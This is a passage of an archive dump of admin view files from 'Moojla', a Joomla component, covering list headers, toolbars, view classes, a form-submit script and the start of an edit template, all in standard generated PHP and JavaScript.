.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<td colspan="10"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/modules/tmpl/default_head.php000064400000005607151165724410013461
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_head.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<?php if ($this->canEdit&& $this->canState): ?>
		<th width="1%" class="nowrap center
hidden-phone">
			<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
		</th>
		<th width="20" class="nowrap center">
			<?php echo JHtml::_('grid.checkall'); ?>
		</th>
	<?php else: ?>
		<th width="20" class="nowrap center
hidden-phone">
			&#9662;
		</th>
		<th width="20" class="nowrap center">
			&#9632;
		</th>
	<?php endif; ?>
	<th class="nowrap hidden-phone" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_MODULE_MODULE_SECTION_ID_LABEL',
'a.module_section_id', $this->listDirn, $this->listOrder);
?>
	</th>
	<th class="nowrap" >
			<?php echo JText::_('COM_MOOJLA_MODULE_MODULE_ID_LABEL');
?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_MODULE_NAME_LABEL', 'a.name',
$this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JText::_('COM_MOOJLA_MODULE_MODNAME_LABEL');
?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JText::_('COM_MOOJLA_MODULE_VISIBLE_LABEL');
?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JText::_('COM_MOOJLA_MODULE_USERVISIBLE_LABEL');
?>
	</th>
	<?php if ($this->canState): ?>
		<th width="10" class="nowrap center" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_MODULE_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
		</th>
	<?php else: ?>
		<th width="10" class="nowrap center" >
			<?php echo JText::_('COM_MOOJLA_MODULE_STATUS'); ?>
		</th>
	<?php endif; ?>
	<th width="5" class="nowrap center hidden-phone"
>
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_MODULE_ID', 'a.id', $this->listDirn,
$this->listOrder); ?>
	</th>
</tr>views/modules/tmpl/default_toolbar.php000064400000007052151165724410014216
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_toolbar.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<div id="filter-bar" class="btn-toolbar">
        <div class="filter-search btn-group pull-left">
            <label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
            <input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Modules'); ?>" />
        </div>
        <div class="btn-group pull-left">
            <button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
            <button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
            <?php echo $this->pagination->getLimitBox(); ?>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
            <select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
                <option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
                <option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
            </select>
        </div>
        <div class="btn-group pull-right">
            <label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
            <select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
                <?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
            </select>
        </div>
    </div>
<div class="clearfix">
</div>views/modules/tmpl/index.html000064400000000054151165724410012327
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/modules/view.html.php000064400000020461151165724410012010
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Moojla View class for the Modules
 */
class MoojlaViewModules extends JViewLegacy
{
	/**
	 * Modules view display method
	 * @return void
	 */
	function display($tpl = null)
	{
		if ($this->getLayout() !== 'modal')
		{
			// Include helper submenu
			MoojlaHelper::addSubmenu('modules');
		}

		// Assign data to the view
		$this->items = $this->get('Items');
		$this->pagination = $this->get('Pagination');
		$this->state = $this->get('State');
		$this->user = JFactory::getUser();
		// Load the filter form from xml.
		$this->filterForm = $this->get('FilterForm');
		// Load the active filters.
		$this->activeFilters = $this->get('ActiveFilters');
		// Add the list ordering clause.
		$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
		$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
		$this->saveOrder = $this->listOrder == 'a.ordering';
		// set the return here value
		$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
		// get global action permissions
		$this->canDo = MoojlaHelper::getActions('module');
		$this->canEdit = $this->canDo->get('core.edit');
		$this->canState =
$this->canDo->get('core.edit.state');
		$this->canCreate = $this->canDo->get('core.create');
		$this->canDelete = $this->canDo->get('core.delete');
		$this->canBatch = $this->canDo->get('core.batch');

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
			// load the batch html
			if ($this->canCreate && $this->canEdit &&
$this->canState)
			{
				$this->batchDisplay = JHtmlBatch_::render();
			}
		}
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}

	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JToolBarHelper::title(JText::_('COM_MOOJLA_MODULES'),
'image');
		JHtmlSidebar::setAction('index.php?option=com_moojla&view=modules');
		JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');

		if ($this->canCreate)
		{
			JToolBarHelper::addNew('module.add');
		}

		// Only load if there are items
		if (MoojlaHelper::checkArray($this->items))
		{
			if ($this->canEdit)
			{
				JToolBarHelper::editList('module.edit');
			}

			if ($this->canState)
			{
				JToolBarHelper::publishList('modules.publish');
				JToolBarHelper::unpublishList('modules.unpublish');
				JToolBarHelper::archiveList('modules.archive');

				if ($this->canDo->get('core.admin'))
				{
					JToolBarHelper::checkin('modules.checkin');
				}
			}

			// Add a batch button
			if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
			{
				// Get the toolbar object instance
				$bar = JToolBar::getInstance('toolbar');
				// set the batch button name
				$title = JText::_('JTOOLBAR_BATCH');
				// Instantiate a new JLayoutFile instance and render the batch button
				$layout = new JLayoutFile('joomla.toolbar.batch');
				// add the button to the page
				$dhtml = $layout->render(array('title' => $title));
				$bar->appendButton('Custom', $dhtml, 'batch');
			}

			if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
			{
				JToolbarHelper::deleteList('', 'modules.delete',
'JTOOLBAR_EMPTY_TRASH');
			}
			elseif ($this->canState && $this->canDelete)
			{
				JToolbarHelper::trash('modules.trash');
			}
		}

		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('modules');
		if (MoojlaHelper::checkString($help_url))
		{
				JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}

		// add the options comp button
		if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
		{
			JToolBarHelper::preferences('com_moojla');
		}

		// Only load published batch if state and batch is allowed
		if ($this->canState && $this->canBatch)
		{
			JHtmlBatch_::addListSelection(
				JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
				'batch[published]',
				JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
			);
		}

		// Only load Module Section Id batch if create, edit, and batch is
allowed
		if ($this->canBatch && $this->canCreate &&
$this->canEdit)
		{
			// Set Module Section Id Selection
			$this->module_section_idOptions =
JFormHelper::loadFieldType('modulesfiltermodulesectionid')->options;
			// We do some sanitation for Module Section Id filter
			if (MoojlaHelper::checkArray($this->module_section_idOptions)
&&
				isset($this->module_section_idOptions[0]->value) &&
				!MoojlaHelper::checkString($this->module_section_idOptions[0]->value))
			{
				unset($this->module_section_idOptions[0]);
			}
			// Module Section Id Batch Selection
			JHtmlBatch_::addListSelection(
				'- Keep Original
'.JText::_('COM_MOOJLA_MODULE_MODULE_SECTION_ID_LABEL').'
-',
				'batch[module_section_id]',
				JHtml::_('select.options',
$this->module_section_idOptions, 'value', 'text')
			);
		}

		// Only load Modname batch if create, edit, and batch is allowed
		if ($this->canBatch && $this->canCreate &&
$this->canEdit)
		{
			// Set Modname Selection
			$this->modnameOptions =
JFormHelper::loadFieldType('modulesfiltermodname')->options;
			// We do some sanitation for Modname filter
			if (MoojlaHelper::checkArray($this->modnameOptions) &&
				isset($this->modnameOptions[0]->value) &&
				!MoojlaHelper::checkString($this->modnameOptions[0]->value))
			{
				unset($this->modnameOptions[0]);
			}
			// Modname Batch Selection
			JHtmlBatch_::addListSelection(
				'- Keep Original
'.JText::_('COM_MOOJLA_MODULE_MODNAME_LABEL').'
-',
				'batch[modname]',
				JHtml::_('select.options', $this->modnameOptions,
'value', 'text')
			);
		}
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_('COM_MOOJLA_MODULES'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/modules.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 50)
		{
			// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key
and display text as value
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
			'a.published' => JText::_('JSTATUS'),
			'a.module_section_id' =>
JText::_('COM_MOOJLA_MODULE_MODULE_SECTION_ID_LABEL'),
			'a.name' =>
JText::_('COM_MOOJLA_MODULE_NAME_LABEL'),
			'a.id' => JText::_('JGRID_HEADING_ID')
		);
	}
}
views/moojla/index.html000064400000000054151165724410011164
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/moojla/tmpl/default.php000064400000003577151165724410012315
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::_('behavior.tooltip');

?>
<div id="j-main-container">
	<div class="span9">
		<?php echo JHtml::_('bootstrap.startAccordion',
'dashboard_left', array('active' =>
'main')); ?>
			<?php echo JHtml::_('bootstrap.addSlide',
'dashboard_left', 'cPanel', 'main'); ?>
				<?php echo $this->loadTemplate('main');?>
			<?php echo JHtml::_('bootstrap.endSlide'); ?>
		<?php echo JHtml::_('bootstrap.endAccordion'); ?>
	</div>
	<div class="span3">
		<?php echo JHtml::_('bootstrap.startAccordion',
'dashboard_right', array('active' =>
'vdm')); ?>
			<?php echo JHtml::_('bootstrap.addSlide',
'dashboard_right', 'Lmskaran', 'vdm'); ?>
				<?php echo $this->loadTemplate('vdm');?>
			<?php echo JHtml::_('bootstrap.endSlide'); ?>
		<?php echo JHtml::_('bootstrap.endAccordion'); ?>
	</div>
</div>views/moojla/tmpl/default_main.php000064400000003645151165724410013315
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_main.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<?php if(isset($this->icons['main']) &&
is_array($this->icons['main'])) :?>
	<?php foreach($this->icons['main'] as $icon): ?>
		<div class="dashboard-wraper">
			<div class="dashboard-content"> 
				<a class="icon" href="<?php echo $icon->url;
?>">
					<img alt="<?php echo $icon->alt; ?>"
src="components/com_moojla/assets/images/icons/<?php  echo
$icon->image; ?>">
					<span class="dashboard-title"><?php echo
JText::_($icon->name); ?></span>
				</a>
			 </div>
		</div>
	<?php endforeach; ?>
	<div class="clearfix"></div>
<?php else: ?>
	<div class="alert alert-error"><h4
class="alert-heading"><?php echo JText::_("Permission
denied, or not correctly set"); ?></h4><div
class="alert-message"><?php echo JText::_("Please
notify your System Administrator if result is unexpected.");
?></div></div>
<?php endif;
?>views/moojla/tmpl/default_vdm.php000064400000005032151165724410013147
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_vdm.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<img alt="<?php echo JText::_('COM_MOOJLA');
?>"
src="components/com_moojla/assets/images/vdm-component.png">
<ul class="list-striped">
	<li><b><?php echo JText::_('COM_MOOJLA_VERSION');
?>:</b> <?php echo $this->manifest->version;
?>&nbsp;&nbsp;<span
class="update-notice"></span></li>
	<li><b><?php echo JText::_('COM_MOOJLA_DATE');
?>:</b> <?php echo $this->manifest->creationDate;
?></li>
	<li><b><?php echo JText::_('COM_MOOJLA_AUTHOR');
?>:</b> <a href="mailto:<?php echo
$this->manifest->authorEmail; ?>"><?php echo
$this->manifest->author; ?></a></li>
	<li><b><?php echo JText::_('COM_MOOJLA_WEBSITE');
?>:</b> <a href="<?php echo
$this->manifest->authorUrl; ?>"
target="_blank"><?php echo
$this->manifest->authorUrl; ?></a></li>
	<li><b><?php echo JText::_('COM_MOOJLA_LICENSE');
?>:</b> <?php echo $this->manifest->license;
?></li>
	<li><b><?php echo $this->manifest->copyright;
?></b></li>
</ul>
<div class="clearfix"></div>
<?php if(MoojlaHelper::checkArray($this->contributors)): ?>
	<?php if(count($this->contributors) > 1): ?>
		<h3><?php echo JText::_('COM_MOOJLA_CONTRIBUTORS');
?></h3>
	<?php else: ?>
		<h3><?php echo JText::_('COM_MOOJLA_CONTRIBUTOR');
?></h3>
	<?php endif; ?>
	<ul class="list-striped">
		<?php foreach($this->contributors as $contributor): ?>
		<li><b><?php echo $contributor['title'];
?>:</b> <?php echo $contributor['name'];
?></li>
		<?php endforeach; ?>
	</ul>
	<div class="clearfix"></div>
<?php endif;
?>views/moojla/tmpl/index.html000064400000000054151165724410012140
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/moojla/view.html.php000064400000005464151165724410011627
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Moojla View class
 */
class MoojlaViewMoojla extends JViewLegacy
{
	/**
	 * View display method
	 * @return void
	 */
	function display($tpl = null)
	{
		// Assign data to the view
		$this->icons			= $this->get('Icons');
		$this->contributors		= MoojlaHelper::getContributors();
		
		// get the manifest details of the component
		$this->manifest = MoojlaHelper::manifest();
		
		// Set the toolbar
		$this->addToolBar();
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}

	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		$canDo = MoojlaHelper::getActions('moojla');
		JToolBarHelper::title(JText::_('COM_MOOJLA_DASHBOARD'),
'grid-2');

		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('moojla');
		if (MoojlaHelper::checkString($help_url))
		{
			JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}

		if ($canDo->get('core.admin') ||
$canDo->get('core.options'))
		{
			JToolBarHelper::preferences('com_moojla');
		}
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		$document = JFactory::getDocument();
		
		// add dashboard style sheets
		$document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/dashboard.css");
		
		// set page title
		$document->setTitle(JText::_('COM_MOOJLA_DASHBOARD'));
		
		// add manifest to page JavaScript
		$document->addScriptDeclaration("var manifest =
jQuery.parseJSON('" . json_encode($this->manifest) .
"');", "text/javascript");
	}
}
views/section/submitbutton.js000064400000002744151165724410012457
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		submitbutton.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

Joomla.submitbutton = function(task)
{
	if (task == ''){
		return false;
	} else { 
		var action = task.split('.');
		if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
			Joomla.submitform(task, document.getElementById("adminForm"));
			return true;
		} else {
			alert(Joomla.JText._('section, some values are not
acceptable.','Some values are unacceptable'));
			return false;
		}
	}
}views/section/tmpl/edit.php000064400000011132151165724410011763
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		edit.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
	// waiting spinner
	var outerDiv = jQuery('body');
	jQuery('<div id="loading"></div>')
		.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
		.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
		.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
		.css("width", outerDiv.width())
		.css("height", outerDiv.height())
		.css("position", "fixed")
		.css("opacity", "0.80")
		.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
		.css("filter", "alpha(opacity = 80)")
		.css("display", "none")
		.appendTo(outerDiv);
	jQuery('#loading').show();
	// when page is ready remove and show
	jQuery(window).load(function() {
		jQuery('#moojla_loader').fadeIn('fast');
		jQuery('#loading').hide();
	});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">

<div class="form-horizontal">

	<?php echo JHtml::_('bootstrap.startTabSet',
'sectionTab', array('active' =>
'details')); ?>

	<?php echo JHtml::_('bootstrap.addTab',
'sectionTab', 'details',
JText::_('COM_MOOJLA_SECTION_DETAILS', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<?php echo JLayoutHelper::render('section.details_left',
$this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>

	<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
	<?php $this->tab_name = 'sectionTab'; ?>
	<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>

	<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'sectionTab', 'publishing',
JText::_('COM_MOOJLA_SECTION_PUBLISHING', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('section.publishing',
$this); ?>
			</div>
			<div class="span6">
				<?php echo JLayoutHelper::render('section.publlshing',
$this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php if ($this->canDo->get('core.admin')) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'sectionTab', 'permissions',
JText::_('COM_MOOJLA_SECTION_PERMISSION', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<fieldset class="adminform">
					<div class="adminformlist">
					<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
